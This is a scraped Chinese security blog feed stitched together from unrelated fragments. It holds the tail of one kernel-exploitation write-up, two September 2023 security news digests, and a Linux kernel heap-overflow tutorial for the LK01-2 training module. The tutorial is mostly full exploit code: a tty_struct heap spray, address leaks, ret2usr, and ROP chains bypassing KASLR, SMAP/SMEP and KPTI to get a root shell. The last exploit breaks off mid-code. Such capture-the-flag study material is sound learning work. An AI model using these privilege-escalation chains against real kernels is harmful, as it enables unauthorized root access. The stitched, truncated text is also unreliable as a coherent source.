for (int i = 0; i < 100; i++) {
result = ioctl(spray[i], 0, addr);
if (result != -1)
{
cache_fd = spray[i];
return result;
}
}
}
else
return(result = ioctl(cache_fd, 0, addr));
}
任意地址写
任意地址写的gadget搜索思路与任意地址读一致,同样是将rdx作为寻址的寄存器,并且由于需要构造任意地址写,因此rcx寄存器则是我们想写入的值,因此搜索的表达式为cat g | grep "mov .* \[rdx\], rcx;"
//0xffffffff810477f7: mov qword ptr [rdx], rcx; ret;
void aaw(unsigned long target_addr, unsigned long data)
{
*(unsigned long *)&buf[0x418] = g_buf;
p[0xc] = kernel_base + op_aaw;
write(fd, buf, 0x500);
for (int i = 0; i < 100; i++) {
ioctl(spray[i], target_addr, data);
}
}
cred结构体的搜索与改写
首先是将当前进程名设置为一个关键字
prctl(PR_SET_NAME, "h0pe-ay!");
然后就是在内存中搜索该关键字,由于task_struct结构体存在于堆地址中,因此可以在堆地址中搜索。我们可以通过泄露的g_buf的地址,然后往前搜索,因为cred结构体会先于g_buf创建。这里需要注意的是需要将进程名改为小端,这里记录一下python从字符串转为16进制的脚本,因为每次都忘记了。
#从字符串转化为十六进制>>> text = "h0pe-ay!">>> hex_string = text.encode('utf-8').hex()>>> print(hex_string)683070652d617921#从十六进制转化为16进制hex_string = "65703068"bytes_obj = bytes.fromhex(hex_string)print(bytes_obj)
接下来就是搜索内存了,需要注意以下几点
使用小端序进行比较
需要从g_buf地址往前搜索
由于每次只能泄露4字节数据,因此需要泄露两次
在成功搜索到关键字之后,comm的上方四字节则是用于存储cred结构体的指针,因此需要通过任意地址去读取指针值,同样的由于只能读取四字节,因此需要读取两次,然后使用简单的移位组合起来。
for (unsigned long addr = g_buf - 0x1000000;; addr += 0x8) { if (aar(addr) == 0x65703068 && aar(addr+4) == 0x2179612d) { printf("[+] found!\n"); printf("addr:0x%lx\n", addr); cred_addr = aar(addr - 4); cred_addr = (cred_addr << 32) | aar(addr - 8); printf("cred_addr:0x%lx\n", cred_addr); break; } }
最后就是改写cred结构体了,只需要将所有标识符修改为0即可,接着拿shell即可
for (int i = 1; i < 9; i++) aaw(0, cred_addr + i*4);
完整exp可见https://github.com/h0pe-ay/Kernel-Pwn/blob/master/LK01-2/LK01-2/qemu/AAR&AAW/exp.c&
网络安全日报 2023年09月15日
1、俄罗斯记者的苹果手机遭到零点击间谍软件(Pegasus)的攻击
https://thehackernews.com/2023/09/russian-journalists-iphone-compromised.html 俄罗斯著名记者兼政府批评者 Galina Timchenko 的 iPhone 遭到了 NSO Group 的 Pegasus 间谍软件的攻击。据说渗透发生在 2023 年 2 月 10 日左右。目前尚不清楚是谁在设备上部署了恶意软件。在感染期间,她的设备定位于 GMT+1 时区,她报告说她在德国柏林。感染后的第二天,她计划与在欧洲的其他俄罗斯独立媒体负责人一起参加一次私人会议,讨论如何应对普京政权的威胁和审查制度。此次泄露是通过一种名为
2、Rollbar公司披露黑客窃取其访问令牌后导致数据泄露
https://twitter.com/troyhunt/status/1700531521835454502 软件错误跟踪公司 Rollbar 在 8 月初未知攻击者入侵其系统并获得客户访问令牌后,披露了一次数据泄露事件。Rollbar 于 9 月 6 日在审查数据仓库日志时发现了这一安全漏洞,该日志显示服务帐户被用来登录基于云的错误监控平台。一旦进入 Rollbar 的系统,威胁行为者就会在该公司的数据中搜索云凭证和比特币钱包。Rollbar 的后续调查发现,攻击者在 2023 年 8 月9 日至 8 月11日的三天内访问了其系统。在 Rollbar 的服务器内部,他们访问了敏感的客户信
3、研究人员披露Gamaredon组织的基础设施
https://www.silentpush.com/blog/from-russia-with-a-71 Gamaredon(也称为 Primitive Bear、Actinium 或 Shuckworm)是一个俄罗斯高级持续威胁 (APT) 组织,至少自 2013 年以来一直活跃,历史上遍及美国和印度次大陆,最近又在乌克兰,包括据报道对乌克兰发动的攻击西方政府实体。Gamaredon 是一个高度好战的威胁组织,他们与其他 APT 组织使用的标准打了就跑的战术不同,它传播严重混淆且具有独特攻击性的持续攻击。该组织利用鱼叉式网络钓鱼和社会工程来传播隐藏在 MS Word 文档中的恶意软件。一
4、腾讯QQ平台“小世界”版块存在大量色情等违法信息被罚100万
https://www.freebuf.com/news/378038.html 近日,针对腾讯QQ平台“小世界”版块存在大量色情等违法信息,危害未成年人身心健康问题,国家网信办指导广东省网信办,依法约谈腾讯公司相关负责人,依据《未成年人保护法》第一百二十七条,实施行政处罚,责令暂停“小世界”版块信息更新30日,没收违法所得并处100万元罚款。
5、Microsoft警告新的网络钓鱼活动通过Teams消息针对公司
https://thehackernews.com/2023/09/microsoft-warns-of-new-phishing.html Microsoft警告说,初始访问代理将进行新的网络钓鱼活动,该活动涉及使用Teams消息作为诱饵渗透公司网络。
6、以太坊联合创始人Buterin的X帐户在T-Mobile SIM卡交换中被黑客入侵
https://cybernews.com/security/ethereums-buterin-says-x-account-hacked-in-t-mobile-sim-swap/ 以太坊联合创始人Vitalik Buterin表示,有人“通过社会工程”T-Mobile接管了他的电话号码,这足以入侵他的X(Twitter)帐户。
7、斯里兰卡国家政务云被黑,近 4 个月数据丢失
https://www.secrss.com/articles/58734 使用“停服”软件、遭遇勒索软件攻击、缺失数据备份计划,多种因素叠加,导致斯里兰卡政府云系统丢失了近 4 个月的数据。
8、RedLine 和 Vidar 窃取者滥用 EV 证书分发窃密恶意软件和勒索软件
https://www.trendmicro.com/en_us/research/23/i/redline-vidar-first-abuses-ev-certificates.html 威胁行为者正在使用 EV 代码签名证书来分发信息窃取恶意软件和勒索软件,这表明操作的简化和更强大的安全措施的需要。
9、SAP 修补了影响 NetWeaver、S/4HANA 的严重漏洞
https://www.securityweek.com/sap-patches-critical-vulnerability-impacting-netweaver-s-4hana/ 本月发布的 SAP 安全说明中有五项被评为“热点新闻”,这是这家德国软件公司的最高评级。不过,其中三个是之前发布的安全说明的更新。
10、APT36组织利用ElizaRAT恶意软件针对印度政府部门发起网络攻击
https://www.zscaler.com/blogs/security-research/peek-apt36-s-updated-arsenal 2023 年 7 月,研究人员发现巴基斯坦高级持续威胁组织 (APT36) 持续进行的新恶意活动。APT36 是一个复杂的网络威胁组织,有在南亚开展有针对性的间谍活动的历史。研究人员观察到 APT36 针对印度政府部门使用了以前未记录的 Windows RAT、新的 Linux 网络间谍实用程序、新的分发机制以及针对 Linux 环境的新攻击向量。 APT36 组织使用的自定义 RAT(称为 ElizaRAT)已合并到该组织工具包中。Eli
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年09月14日
1、新型Go语言窃密木马MetaStealer针对macOS平台发起攻击
https://www.sentinelone.com/blog/macos-metastealer-new-family-of-obfuscated-go-infostealers-spread-in-targeted-attacks/ 在过去的几个月里,研究人员一直在跟踪被命名为MetaStealer木马家族的一系列信息窃密攻击活动,已经观察到的许多 MetaStealer家族样本都存在于在磁盘映像格式(.dmg)中包含的恶意应用程序包中,磁盘映像使用以下名称如“Advertising terms of reference (MacOS presentation).dmg”、“CONCE
2、攻击者利用Remcos远控针对哥伦比亚企业发起大规模钓鱼攻击
https://research.checkpoint.com/2023/guarding-against-the-unseen-investigating-a-stealthy-remcos-malware-attack-on-colombian-firms/ 研究人员近期发现一批针对哥伦比亚多个行业40多家知名公司的大规模网络钓鱼活动,攻击者以紧急通知、逾期债务报告或诱人的报价等欺骗性题材向目标发送恶意电子邮件,通过各种形式的恶意附件文件诱导受害者点击运行,最终在受害者的计算机上谨慎地安装臭名昭著的“Remcos”恶意软件。Remcos是一种复杂远程控制木马,它使攻击者能够完全控制受感染
3、Linux 应用 Free Download Manager 被秘密植入后门三年之久
https://securelist.com/backdoored-free-download-manager-linux-malware/110465/ 研究人员发现一批可疑域名托管名为“Free Download Manager”软件的Debian存储库,该Debian软件包包含受感染的postinst脚本,脚本运行时将两个ELF文件放入路径/var/tmp/crond和/var/tmp/bs,然后创建一个cron任务每隔10分钟启动后门程序/var/tmp/crond。crond后门向C2域名发出A类DNS请求,启动反向shell与C2服务器通信,最后攻击者通过反向shell部署Bas
4、研究人员发现基于Rust语言编写的新型勒索软件
https://thehackernews.com/2023/09/rust-written-3am-ransomware-sneak-peek.html 研究人员在一次安全响应事件中发现了一个名为3AM的新型勒索软件家族,攻击者在尝试于目标网络中部署LockBit(又名 Bitwise Spider或Syphid)失败后部署了该勒索软件。3AM因其在勒索信中被提及而得名,该软件的加密文件附加扩展名为 .Threeamtime,勒索软件在开始加密文件之前会尝试停止受感染计算机上的多项服务如各种安全和备份相关软件,加密完成符合预定义条件的文件后,它会尝试删除卷影 (VSS) 副本。目前尚不清楚
5、微软发布补丁修复两个正被在野积极利用的零日漏洞
https://thehackernews.com/2023/09/microsoft-releases-patch-for-two-new.html 近日微软发布软件修复程序来修复其产品组合中的59个错误,其中包括两个已被恶意网络攻击者积极利用的零日漏洞,分别是CVE-2023-36761(Microsoft Word 信息泄露漏洞,CVSS评分6.2),以及CVE-2023-36802(Microsoft 流服务代理特权提升漏洞,CVSS评分7.8)。微软在公告中表示,利用CVE-2023-36761漏洞可能会泄露NTLM 哈希值,CVE-2023-36802可能会被滥用获取系统权限,目
6、Mozilla 紧急修补 Firefox 和 Thunderbird 中的 WebP 严重零日漏洞
https://www.freebuf.com/articles/377938.html Mozilla 周二发布了安全更新,修复了 Firefox 和 Thunderbird 中的一个关键零日漏洞。该漏洞被标记为 CVE-2023-4863,是 WebP 图像格式中的堆缓冲区溢出漏洞,在处理特制图像时可能导致任意代码执行。Mozilla 在一份公告中说,打开恶意 WebP 图像可能导致内容进程中的堆缓冲区溢出,这个漏洞在其他产品中被广泛利用。
7、空客遭黑客攻击导致数据泄露
https://www.securityweek.com/airbus-launches-investigation-after-hacker-leaks-data/ 空客公司在一名黑客泄露了据称从这家法国航空航天巨头系统中窃取的信息后展开了调查。网络犯罪情报公司 Hudson Rock 周二报道称,一名在线绰号为“USDoD”的黑客本月早些时候在一个网络犯罪论坛上声称,他们入侵了空中客车公司。
8、新的 Kubernetes 漏洞可对 Windows 端点进行远程攻击
https://thehackernews.com/2023/09/alert-new-kubernetes-vulnerabilities.html 可以利用 Kubernetes 中发现的三个相互关联的高严重性安全漏洞,在集群内的 Windows 端点上以提升的权限实现远程代码执行。这些问题编号为 CVE-2023-3676、CVE-2023-3893和 CVE-2023-3955,CVSS 分数为 8.8,影响所有具有 Windows 节点的 Kubernetes 环境Akamai 于 2023 年 7 月 13 日负责任地披露后,于 2023 年 8 月 23 日发布了这些漏洞的修复
9、Adobe发布补丁修补正被在野主动利用的关键安全漏洞
https://thehackernews.com/2023/09/update-adobe-acrobat-and-reader-to.html Adobe于2023年9月星期二发布的补丁更新附带了针对Acrobat和Reader中被攻击者主动利用的关键安全漏洞,该漏洞的编号为 CVE-2023-26369,CVSS评分严重程度为7.8,影响Windows和macOS版的Acrobat DC、Acrobat Reader DC、Acrobat 2020和 Acrobat Reader 2020等软件,该漏洞被描述为越界写入,成功利用该漏洞可能会实现打开特制的PDF 文档来导致远程执行代码,
10、Windows Update 将在4年内逐步禁止第三方打印机驱动
https://learn.microsoft.com/en-us/windows-hardware/drivers/print/end-of-servicing-plan-for-third-party-printer-drivers-on-windows 微软公布了 Windows Update 在四年内逐步禁用第三方打印机驱动的计划,此举旨在增强 Windows 生态系统的安全性,因为影响数以百计型号的打印机驱动漏洞常常被忽视数年之久,给用户造成严重安全隐患。Windows 未来将默认使用新的打印模式,禁用第三方打印驱动。
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
Linux内核之堆溢出的利用
前言
用户进程会通过malloc等函数进行动态内存分配相应的内核也有一套动态的内存分配机制。
内核中的内存分配
有两种类型的计算机并且使用不同的方法管理物理内存
UMA计算机:每个处理器访问内存的速度一直
NUMA计算机:每个处理器访问自己的本地内存速度较快,但是访问其他处理器的本地内存会相对较慢
首先将内存划为为结点,每个结点与一个处理器进行关联,因此上图的与处理器关联的内存都被视作为结点。结点使用pg_data_t结构体进行表示。并且结点与结点之间是通过链表进行链接的。
结点进一步划分为多个域,域使用zone_type枚举类型表示。
域进一步细化为页为单位的内存进行划分。页则使用page数据结构进行表示。
虽然内核中使用了伙伴算法对页框进行管理,但是由于页的单位一般是4096,倘若只想申请部分内存,但是直接分配一页的大小会浪费资源。因此内核使用了slab分配器进行小内存的分配。
图片来自https://blog-wohin-me.translate.goog/posts/pawnyable-0202/?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl&&,slab大致流程如下。
slab不仅仅是作为分配器还有缓存的功能,因此在使用kmalloc时会首先检索kmem_cache是否存在空闲的内存,这一点与用户态下的ptmalloc很相似。
LK01-2
项目地址:https://github.com/h0pe-ay/Kernel-Pwn/tree/master/LK01-2/LK01-2
module_open
在执行open模块时会使用kmalloc进行动态内存分配,因此会使用到上述所说的slab分配器。
static int module_open(struct inode *inode, struct file *file)
{
printk(KERN_INFO "module_open called\n");
g_buf = kmalloc(BUFFER_SIZE, GFP_KERNEL);
if (!g_buf) {
printk(KERN_INFO "kmalloc failed");
return -ENOMEM;
}
return 0;
}
module_read
在执行read模块时会从内核堆地址中拷贝信息到用户空间中去,但是这里的拷贝没有对长度做限制,因此存在着越界读的漏洞。
static ssize_t module_read(struct file *file,
char __user *buf, size_t count,
loff_t *f_pos)
{
printk(KERN_INFO "module_read called\n");
if (copy_to_user(buf, g_buf, count)) {
printk(KERN_INFO "copy_to_user failed\n");
return -EINVAL;
}
return count;
}
module_write
在执行write模块时会将用户空间的数据拷贝到内核堆空间中,由于没有做长度的限制,因此存在着内核堆溢出的漏洞。
static ssize_t module_write(struct file *file,
const char __user *buf, size_t count,
loff_t *f_pos)
{
printk(KERN_INFO "module_write called\n");
if (copy_from_user(g_buf, buf, count)) {
printk(KERN_INFO "copy_from_user failed\n");
return -EINVAL;
}
return count;
}
堆溢出的利用
由于内核分配动态内存是通过slab分配器,slab分配器会优先从缓存中取出,题目给会通过open模块分配一个0x400的堆块。因此会从kmalloc-1024中取出堆块。可以看到0x400的堆块能够写入超过0x400的数据。但是这种堆溢出不会影响程序正常执行。这是因为紧接着的堆块没有存储函数指针。
因此如果需要劫持程序的执行流程,则需要使得存在一个堆块内部存放着函数指针并且在构造的堆块的后方。而内核的许多重要的结构体都是通过堆进行分配,而且这些结构体需要经常创建与释放,因此这些结构体也会通过kmalloc-1024中取出堆块。因此在内核堆块的利用需要熟悉内核中一些包含函数指针的对象的大小。而tty_struct的结构体的大小刚好处于kmalloc-1024的范围内。
struct tty_struct {
int magic;
struct kref kref;
struct device *dev; /* class device or NULL (e.g. ptys, serdev) */
struct tty_driver *driver;
const struct tty_operations *ops;
...
} __randomize_layout;
可以看到tty_struct结构体会存在ops的操作指针,对tty的操作都会调用该函数指针。
https://ptr--yudai-hatenablog-com.translate.goog/entry/2020/03/16/165628?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=zh-CN&&中统计了一下常用的结构体。
由于我们不清楚在执行open模块的时候分配的堆块是否会在tty结构体的上方,因此需要使用堆喷将tty结构体充满在open模块申请的堆块的附近。
int spray[100];
for (int i = 0; i < 50; i++)
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
int fd = open("/dev/holstein", O_RDWR);
for (int i = 50; i < 100; i++)
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
ptmx文件是用于打开伪终端主设备文件,该文件则是通过上述的tty结构体进行表示
O_NOCTTY则是用于防止当前进程将打开的终端设备作为其控制终端
对过上述操作在能使得open模块操作分配的堆空间是在tty结构体所分配的空间的周围的。如下图所示能够看到将tty结构体分配在g_buf(open模块分配的堆块)的下方
该操作指针中存放着许多函数地址
将该结构体覆盖为无效值
通过ioctl操作触发函数指针
ioctl(spray[i], 0x1234, 0x1234);
ioctl 是一个用于在Linux系统中进行设备控制和配置的系统调用,它允许用户态程序与设备驱动程序进行通信以进行各种操作。因此执行ioctl函数实际是会调用ops指向的函数表。但是接着执行内核并不会发生崩溃,这里我猜测是在ioctl函数执行流程中会检测ops指针的有效性。
但是单单修改函数表内的函数地址,则会引起崩溃。
崩溃地址正是我们修改的值。
因此梳理一下针对该题堆溢出利用的条件
利用堆喷使得漏洞堆块处于tty结构体堆块的上方
利用堆溢出将ops指针修改为可控的内核堆地址并在该地址中填充函数地址
没有开启保护
经过测试,在没有开启kaslr的情况下g_buf对应的堆地址也是会改变的,因此需要进行泄露计算出g_buf的地址。由于g_buf处于内核地址,因此可以触发ioctl,这里我使用了用户空间的堆块地址,但是无法触发,因此猜测ioctl需要检验ops指针值是否为内核地址。
并且在tty结构体中存储了堆块的地址,因此可以通过越界读泄露堆地址。
通过read模块泄露堆地址
...
char buf[0x500];
read(fd, buf, 0x500);
unsigned long * p = (unsigned long *)&buf;
for (int i = 0; i < 0xa0; i++)
printf("[0x%x] 0x%lx\n",i ,p[i]);
...
这里需要注意的是我们尽可能选择与g_buf地址相近的堆地址,因为slab分配器会分配连续的内存,因此在附近的地址可以计算出真正的偏移。
泄露出堆地址后还需要解决一个问题是ioctl函数会执行函数表的哪个函数指针,因此我们需要劫持ops指针为g_buf,然后在g_buf填充有规律的垃圾数据,判断函数指针的位置。
...
unsigned long heap = p[0x9f];
printf("heap:0x%lx\n", heap);
unsigned long g_buf = heap - 0x4f8 ;
printf("g_buf:0x%lx\n", g_buf);
for (unsigned long i = 0; i < 0x80; i++)
p[i] = i;
*(unsigned long *)&buf[0x418] = g_buf;
write(fd, buf, 0x500);
for (int i = 0; i < 100; i++) {
ioctl(spray[i], 0xdeadbeef, 0xcafebabe);
}
...
可以看到在函数表中的偏移为0xc,该地址填充的值会被用作处理ioctl函数的操作。
由于题目没有开启任何保护,接下来就是ret2usr即可
run.sh
#!/bin/sh
qemu-system-x86_64 \
-m 64M \
-nographic \
-kernel bzImage \
-append "console=ttyS0 loglevel=3 oops=panic panic=-1 nosmap nosemp nokaslr nopti" \
-no-reboot \
-cpu qemu64 \
-smp 1 \
-monitor /dev/null \
-initrd initramfs.cpio.gz\
-net nic,model=virtio \
-net user \
-s
exp
这里需要对所有伪终端执行ioctl操作,这是因为我们不能判断具体覆盖了哪个tty的结构体。
#include <stdio.h>
#include <ctype.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdlib.h>
/*
0xffffffff81074650 T prepare_kernel_cred
0xffffffff810744b0 T commit_creds
*/
unsigned long user_cs, user_sp, user_ss, user_rflags;
void save_user_land()
{
__asm__(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_sp, rsp;"
"mov user_ss, ss;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
puts("[*] Saved userland registers");
printf("[#] cs: 0x%lx \n", user_cs);
printf("[#] ss: 0x%lx \n", user_ss);
printf("[#] rsp: 0x%lx \n", user_sp);
printf("[#] rflags: 0x%lx \n\n", user_rflags);
}
void backdoor()
{
printf("****getshell****");
system("id");
system("/bin/sh");
}
unsigned long user_rip = (unsigned long)backdoor;
void lpe()
{
__asm(
".intel_syntax noprefix;"
"movabs rax, 0xffffffff81074650;" //prepare_kernel_cred
"xor rdi, rdi;"
"call rax;" //prepare_kernel_cred(0);
"mov rdi, rax;"
"mov rax, 0xffffffff810744b0;" //commit_creds
"call rax;"
"swapgs;"
"mov r15, user_ss;"
"push r15;"
"mov r15, user_sp;"
"push r15;"
"mov r15, user_rflags;"
"push r15;"
"mov r15, user_cs;"
"push r15;"
"mov r15, user_rip;"
"push r15;"
"iretq;"
".att_syntax;"
);
}
int main() {
save_user_land();
int spray[100];
for (int i = 0; i < 50; i++)
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
int fd = open("/dev/holstein", O_RDWR);
for (int i = 50; i < 100; i++)
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
char buf[0x500];
read(fd, buf, 0x500);
unsigned long * p = (unsigned long *)&buf;
//for (int i = 0; i < 0xa0; i++)
//printf("[0x%x] 0x%lx\n",i ,p[i]);
unsigned long heap = p[0x9f];
printf("heap:0x%lx\n", heap);
unsigned long g_buf = heap - 0x4f8 ;
printf("g_buf:0x%lx\n", g_buf);
p[0xc] = lpe;
*(unsigned long *)&buf[0x418] = g_buf;
write(fd, buf, 0x500);
for (int i = 0; i < 100; i++) {
ioctl(spray[i], 0xdeadbeef, 0xcafebabe);
}
}
开启KASLR
run.sh
#!/bin/sh
qemu-system-x86_64 \
-m 64M \
-nographic \
-kernel bzImage \
-append "console=ttyS0 loglevel=3 oops=panic panic=-1 nosmap nosemp nopti kaslr" \
-no-reboot \
-cpu qemu64 \
-smp 1 \
-monitor /dev/null \
-initrd initramfs.cpio.gz\
-net nic,model=virtio \
-net user \
-s
exp
开启KASLR的解法与没开启保护的情况基本一致,只需要多泄露一个内核地址即可。
#include <stdio.h>
#include <ctype.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdlib.h>
#define prepare_kernel_cred_offset 0x74650
#define commit_creds_offset 0x744b0
unsigned long kernel_base;
unsigned long prepare_kernel_cred;
unsigned long commit_creds;
unsigned long user_cs, user_sp, user_ss, user_rflags;
void save_user_land()
{
__asm__(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_sp, rsp;"
"mov user_ss, ss;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
puts("[*] Saved userland registers");
printf("[#] cs: 0x%lx \n", user_cs);
printf("[#] ss: 0x%lx \n", user_ss);
printf("[#] rsp: 0x%lx \n", user_sp);
printf("[#] rflags: 0x%lx \n\n", user_rflags);
}
void backdoor()
{
printf("****getshell****");
system("id");
system("/bin/sh");
}
unsigned long user_rip = (unsigned long)backdoor;
void lpe()
{
prepare_kernel_cred = kernel_base + prepare_kernel_cred_offset;
commit_creds = kernel_base + commit_creds_offset;
__asm(
".intel_syntax noprefix;"
"movabs rax, prepare_kernel_cred;" //prepare_kernel_cred
"xor rdi, rdi;"
"call rax;" //prepare_kernel_cred(0);
"mov rdi, rax;"
"mov rax, commit_creds;" //commit_creds
"call rax;"
"swapgs;"
"mov r15, user_ss;"
"push r15;"
"mov r15, user_sp;"
"push r15;"
"mov r15, user_rflags;"
"push r15;"
"mov r15, user_cs;"
"push r15;"
"mov r15, user_rip;"
"push r15;"
"iretq;"
".att_syntax;"
);
}
int main() {
save_user_land();
int spray[100];
for (int i = 0; i < 50; i++)
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
int fd = open("/dev/holstein", O_RDWR);
for (int i = 50; i < 100; i++)
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
char buf[0x500];
read(fd, buf, 0x500);
unsigned long * p = (unsigned long *)&buf;
//for (int i = 0; i < 0xa0; i++)
// printf("[0x%x] 0x%lx\n",i ,p[i]);
unsigned long heap = p[0x9f];
printf("heap:0x%lx\n", heap);
unsigned long g_buf = heap - 0x4f8 ;
printf("g_buf:0x%lx\n", g_buf);
unsigned long kernel_addr = p[0x83];
printf("kernel_addr:0x%lx\n", kernel_addr);
kernel_base = kernel_addr - 0xc38880;
printf("kernel_base:0x%lx\n", kernel_base);
p[0xc] = lpe;
*(unsigned long *)&buf[0x418] = g_buf;
write(fd, buf, 0x500);
for (int i = 0; i < 100; i++) {
ioctl(spray[i], 0xdeadbeef, 0xcafebabe);
}
}
开启SMAP与SMEP
SMAP与SMEP会防止内核访问与执行用户空间的地址,但是由于该题本身是修改在堆块内的指针值无法在堆块内部构造ROP链,那么想要执行ROP链那么需要将栈迁移到堆上。但是由于我们的输入不在栈上,而是在堆上,无法通过pop rbp;ret;与mov rsp,rbp去修改栈顶值。这里需要注意到,当通过ioctl函数时,我们的参数值实际也会被传递进去。如下图所示。
因此需要通过根据这几个寄存器修改栈顶的操作
cat g | grep -E "push rdx;.* pop rsp;.* ret"
该gadget可以将rax的值移动到rdi的值,但是需要经过rep movsq qword ptr [rdi], qword ptr [rsi]; ret;,该汇编语言实际是循环将rsi指向的值存放到rdi中,并且循环此为由rcx寄存器指定,因此将rcx寄存器设置为0即可跳过该操作。
run.sh
#!/bin/sh
qemu-system-x86_64 \
-m 64M \
-nographic \
-kernel bzImage \
-append "console=ttyS0 loglevel=3 oops=panic panic=-1 nopti kaslr" \
-no-reboot \
-cpu qemu64,+smap,+smep \
-smp 1 \
-monitor /dev/null \
-initrd initramfs.cpio.gz\
-net nic,model=virtio \
-net user \
-s
exp
#include <stdio.h>
#include <ctype.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdlib.h>
/*
0xffffffff810d748d: pop rdi; ret;
0xffffffff81022dff: iretq; pop rbp; ret;
0xffffffff8162668e: swapgs; ret;
0xffffffff813a478a: push rdx; mov ebp, 0x415bffd9; pop rsp; pop r13; pop rbp; ret;
0xffffffff8162707b: mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; ret;
0xffffffff8109c39e: pop rsi; ret;
0xffffffff8113c1c4: pop rcx; ret;
*/
#define prepare_kernel_cred_offset 0x74650
#define commit_creds_offset 0x744b0
#define pop_rdi_offset 0xd748d
#define iretq_pop_rbp_offset 0x22dff
#define push_rax_ret_offset 0x24819
#define push_rdx_pop_rsp_ret_offset 0x3a478a
#define mov_rdi_rax_ret_offset 0x62707b
#define swapgs 0x62668e
#define pop_rsi 0x9c39e
#define pop_rcx 0x13c1c4
unsigned long kernel_base;
unsigned long prepare_kernel_cred;
unsigned long commit_creds;
unsigned long user_cs, user_sp, user_ss, user_rflags;
void save_user_land()
{
__asm__(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_sp, rsp;"
"mov user_ss, ss;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
puts("[*] Saved userland registers");
printf("[#] cs: 0x%lx \n", user_cs);
printf("[#] ss: 0x%lx \n", user_ss);
printf("[#] rsp: 0x%lx \n", user_sp);
printf("[#] rflags: 0x%lx \n\n", user_rflags);
}
void backdoor()
{
printf("****getshell****");
system("id");
system("/bin/sh");
}
int main() {
save_user_land();
int spray[100];
for (int i = 0; i < 50; i++)
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
int fd = open("/dev/holstein", O_RDWR);
for (int i = 50; i < 100; i++)
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
char buf[0x500];
read(fd, buf, 0x500);
unsigned long * p = (unsigned long *)&buf;
//for (int i = 0; i < 0xa0; i++)
// printf("[0x%x] 0x%lx\n",i ,p[i]);
unsigned long heap = p[0x9f];
printf("heap:0x%lx\n", heap);
unsigned long g_buf = heap - 0x4f8 ;
printf("g_buf:0x%lx\n", g_buf);
unsigned long kernel_addr = p[0x83];
printf("kernel_addr:0x%lx\n", kernel_addr);
kernel_base = kernel_addr - 0xc38880;
printf("kernel_base:0x%lx\n", kernel_base);
p[0x22] = pop_rdi_offset + kernel_base;
p[0x23] = 0;
p[0x24] = prepare_kernel_cred_offset + kernel_base;
p[0x25] = pop_rcx + kernel_base;
p[0x26] = 0;
p[0x27] = mov_rdi_rax_ret_offset + kernel_base;
p[0x28] = commit_creds_offset + kernel_base;
p[0x29] = swapgs + kernel_base;
p[0x2a] = iretq_pop_rbp_offset + kernel_base;
p[0x2b] = (unsigned long)backdoor;
p[0x2c] = user_cs;
p[0x2d] = user_rflags;
p[0x2e] = user_sp;
p[0x2f] = user_ss;
*(unsigned long *)&buf[0x418] = g_buf;
p[0xc] = p[0xc] = kernel_base + push_rdx_pop_rsp_ret_offset;
write(fd, buf, 0x500);
for (int i = 0; i < 100; i++) {
ioctl(spray[i], g_buf+0x100, g_buf+0x100);
}
}
开启kpti
run.sh
#!/bin/sh
qemu-system-x86_64 \
-m 64M \
-nographic \
-kernel bzImage \
-append "console=ttyS0 loglevel=3 oops=panic panic=-1 kpti=1 kaslr" \
-no-reboot \
-cpu qemu64,+smap,+smep \
-smp 1 \
-monitor /dev/null \
-initrd initramfs.cpio.gz\
-net nic,model=virtio \
-net user \
-s
exp
kpti的绕过也与普通的一致,使用swapgs_restore_regs_and_return_to_usermode的gadget即可
#include <stdio.h>
#include <ctype.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdlib.h>
/*
0xffffffff810d748d: pop rdi; ret;
0xffffffff81022dff: iretq; pop rbp; ret;
0xffffffff8162668e: swapgs; ret;
0xffffffff813a478a: push rdx; mov ebp, 0x415bffd9; pop rsp; pop r13; pop rbp; ret;
0xffffffff8162707b: mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; ret;
0xffffffff8109c39e: pop rsi; ret;
0xffffffff8113c1c4: pop rcx; ret;
0xffffffff81800e10 T swapgs_restore_regs_and_return_to_usermode
*/
#define prepare_kernel_cred_offset 0x74650
#define commit_creds_offset 0x744b0
#define pop_rdi_offset 0xd748d
#define iretq_pop_rbp_offset 0x22dff
#define push_rax_ret_offset 0x24819
#define push_rdx_pop_rsp_ret_offset 0x3a478a
#define mov_rdi_rax_ret_offset 0x62707b
#define swapgs 0x62668e
#define pop_rsi 0x9c39e
#define pop_rcx 0x13c1c4
#define swapgs_restore_regs_and_return_to_usermode 0x800e10
unsigned long kernel_base;
unsigned long prepare_kernel_cred;
unsigned long commit_creds;
unsigned long user_cs, user_sp, user_ss, user_rflags;
void save_user_land()
{
__asm__(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_sp, rsp;"
"mov user_ss, ss;"
"pushf;"
